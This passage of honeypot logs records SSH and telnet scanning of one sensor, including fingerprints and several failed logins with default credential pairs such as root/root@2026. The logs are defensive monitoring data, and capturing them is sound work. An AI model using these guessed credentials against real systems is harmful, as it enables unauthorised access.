0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:56.887972Z","src_ip":"45.153.34.114","session":"2d6b0b29edfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:57.141254Z","src_ip":"45.153.34.114","session":"2d6b0b29edfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:02:58.226711Z","src_ip":"45.153.34.114","session":"2d6b0b29edfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58712,"dst_ip":"159.203.135.109","dst_port":22,"session":"9525b696a1d7","protocol":"ssh","message":"New connection: 45.153.34.114:58712 (159.203.135.109:22) [session: 9525b696a1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:04.818588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:04.823682Z","src_ip":"45.153.34.114","session":"9525b696a1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:04.906833Z","src_ip":"45.153.34.114","session":"9525b696a1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:05.166621Z","src_ip":"45.153.34.114","session":"9525b696a1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:06.263627Z","src_ip":"45.153.34.114","session":"9525b696a1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37856,"dst_ip":"159.203.135.109","dst_port":22,"session":"255aa1379c21","protocol":"ssh","message":"New connection: 103.75.199.4:37856 (159.203.135.109:22) [session: 255aa1379c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:06.559220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:06.563894Z","src_ip":"103.75.199.4","session":"255aa1379c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:06.655899Z","src_ip":"103.75.199.4","session":"255aa1379c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:06.931901Z","src_ip":"103.75.199.4","session":"255aa1379c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:08.027565Z","src_ip":"103.75.199.4","session":"255aa1379c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40516,"dst_ip":"159.203.135.109","dst_port":22,"session":"60c16e45a18d","protocol":"ssh","message":"New connection: 45.153.34.114:40516 (159.203.135.109:22) [session: 60c16e45a18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:12.654226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:12.658668Z","src_ip":"45.153.34.114","session":"60c16e45a18d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:12.745350Z","src_ip":"45.153.34.114","session":"60c16e45a18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:13.004140Z","src_ip":"45.153.34.114","session":"60c16e45a18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.095635Z","src_ip":"45.153.34.114","session":"60c16e45a18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27680,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebab32a58fe9","protocol":"telnet","message":"New connection: 34.76.145.205:27680 (159.203.135.109:23) [session: ebab32a58fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.563562Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.568698Z","src_ip":"34.76.145.205","session":"ebab32a58fe9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.572367Z","src_ip":"34.76.145.205","session":"ebab32a58fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08734607696533203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.650694Z","src_ip":"34.76.145.205","session":"ebab32a58fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27694,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb9abe6fecf","protocol":"telnet","message":"New connection: 34.76.145.205:27694 (159.203.135.109:23) [session: dcb9abe6fecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.725779Z"}
{"eventid":"cowrie.session.closed","duration":0.007179975509643555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.732830Z","src_ip":"34.76.145.205","session":"dcb9abe6fecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36477f0ad5e","protocol":"telnet","message":"New connection: 34.76.145.205:27696 (159.203.135.109:23) [session: f36477f0ad5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:14.883651Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27698,"dst_ip":"159.203.135.109","dst_port":23,"session":"df36f6366369","protocol":"telnet","message":"New connection: 34.76.145.205:27698 (159.203.135.109:23) [session: df36f6366369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.040196Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27710,"dst_ip":"159.203.135.109","dst_port":23,"session":"72b38a887488","protocol":"telnet","message":"New connection: 34.76.145.205:27710 (159.203.135.109:23) [session: 72b38a887488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.197772Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27722,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b6e6857ec6e","protocol":"telnet","message":"New connection: 34.76.145.205:27722 (159.203.135.109:23) [session: 0b6e6857ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.353018Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2184ab8cc1bc","protocol":"telnet","message":"New connection: 34.76.145.205:27724 (159.203.135.109:23) [session: 2184ab8cc1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.507881Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27732,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75aee71844c","protocol":"telnet","message":"New connection: 34.76.145.205:27732 (159.203.135.109:23) [session: a75aee71844c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.662466Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27736,"dst_ip":"159.203.135.109","dst_port":23,"session":"42aee36d3e51","protocol":"telnet","message":"New connection: 34.76.145.205:27736 (159.203.135.109:23) [session: 42aee36d3e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.817232Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27748,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1a7cd4a21c9","protocol":"telnet","message":"New connection: 34.76.145.205:27748 (159.203.135.109:23) [session: e1a7cd4a21c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:15.973751Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27764,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc5f1d168a29","protocol":"telnet","message":"New connection: 34.76.145.205:27764 (159.203.135.109:23) [session: dc5f1d168a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.205712Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27780,"dst_ip":"159.203.135.109","dst_port":23,"session":"f026aca32e84","protocol":"telnet","message":"New connection: 34.76.145.205:27780 (159.203.135.109:23) [session: f026aca32e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.363019Z"}
{"eventid":"cowrie.session.closed","duration":0.00561833381652832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.368508Z","src_ip":"34.76.145.205","session":"f026aca32e84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27788,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e3a4a6f74b","protocol":"telnet","message":"New connection: 34.76.145.205:27788 (159.203.135.109:23) [session: 81e3a4a6f74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.517987Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27794,"dst_ip":"159.203.135.109","dst_port":23,"session":"92abf7a2206d","protocol":"telnet","message":"New connection: 34.76.145.205:27794 (159.203.135.109:23) [session: 92abf7a2206d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.671770Z"}
{"eventid":"cowrie.session.closed","duration":0.1486673355102539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.820380Z","src_ip":"34.76.145.205","session":"92abf7a2206d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.419270515441895,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.825477Z","src_ip":"34.76.145.205","session":"aa2f2e6319b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.31154918670654297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.829388Z","src_ip":"34.76.145.205","session":"81e3a4a6f74b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8588504791259766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.832464Z","src_ip":"34.76.145.205","session":"e1a7cd4a21c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6292896270751953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.834878Z","src_ip":"34.76.145.205","session":"dc5f1d168a29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0228641033172607,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.839963Z","src_ip":"34.76.145.205","session":"42aee36d3e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3355460166931152,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.843323Z","src_ip":"34.76.145.205","session":"2184ab8cc1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1841766834259033,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.846509Z","src_ip":"34.76.145.205","session":"a75aee71844c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.501387596130371,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.854264Z","src_ip":"34.76.145.205","session":"0b6e6857ec6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27804,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed5233584f9","protocol":"telnet","message":"New connection: 34.76.145.205:27804 (159.203.135.109:23) [session: fed5233584f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.857799Z"}
{"eventid":"cowrie.session.closed","duration":1.6638429164886475,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.861481Z","src_ip":"34.76.145.205","session":"72b38a887488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8311083316802979,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.871144Z","src_ip":"34.76.145.205","session":"df36f6366369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9909968376159668,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:16.874317Z","src_ip":"34.76.145.205","session":"f36477f0ad5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27806,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1e783a873d0","protocol":"telnet","message":"New connection: 34.76.145.205:27806 (159.203.135.109:23) [session: f1e783a873d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.030033Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27816,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc9b7b36833","protocol":"telnet","message":"New connection: 34.76.145.205:27816 (159.203.135.109:23) [session: bfc9b7b36833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.184250Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27824,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4e37e354d1a","protocol":"telnet","message":"New connection: 34.76.145.205:27824 (159.203.135.109:23) [session: b4e37e354d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.338470Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27840,"dst_ip":"159.203.135.109","dst_port":23,"session":"62da32c84e5f","protocol":"telnet","message":"New connection: 34.76.145.205:27840 (159.203.135.109:23) [session: 62da32c84e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.492336Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27852,"dst_ip":"159.203.135.109","dst_port":23,"session":"367eb4c00757","protocol":"telnet","message":"New connection: 34.76.145.205:27852 (159.203.135.109:23) [session: 367eb4c00757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.647072Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27856,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce8d7f7637e","protocol":"telnet","message":"New connection: 34.76.145.205:27856 (159.203.135.109:23) [session: 2ce8d7f7637e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.802362Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.807380Z","src_ip":"34.76.145.205","session":"2ce8d7f7637e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27858,"dst_ip":"159.203.135.109","dst_port":23,"session":"48702c4b58da","protocol":"telnet","message":"New connection: 34.76.145.205:27858 (159.203.135.109:23) [session: 48702c4b58da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:17.960823Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27860,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89a084e2fa5","protocol":"telnet","message":"New connection: 34.76.145.205:27860 (159.203.135.109:23) [session: f89a084e2fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.114961Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aebf53dc390","protocol":"telnet","message":"New connection: 34.76.145.205:27876 (159.203.135.109:23) [session: 2aebf53dc390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.268595Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27884,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51ec9cf83ff","protocol":"telnet","message":"New connection: 34.76.145.205:27884 (159.203.135.109:23) [session: f51ec9cf83ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.422710Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27900,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7244aab5954","protocol":"telnet","message":"New connection: 34.76.145.205:27900 (159.203.135.109:23) [session: a7244aab5954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.580663Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27908,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cad03c8d1fb","protocol":"telnet","message":"New connection: 34.76.145.205:27908 (159.203.135.109:23) [session: 5cad03c8d1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.734923Z"}
{"eventid":"cowrie.session.closed","duration":0.004981517791748047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.739775Z","src_ip":"34.76.145.205","session":"5cad03c8d1fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce7fff6896c4","protocol":"telnet","message":"New connection: 34.76.145.205:27914 (159.203.135.109:23) [session: ce7fff6896c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:18.892429Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.145.205","src_port":27930,"dst_ip":"159.203.135.109","dst_port":23,"session":"824f7b7a907d","protocol":"telnet","message":"New connection: 34.76.145.205:27930 (159.203.135.109:23) [session: 824f7b7a907d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:03:19.046915Z"}
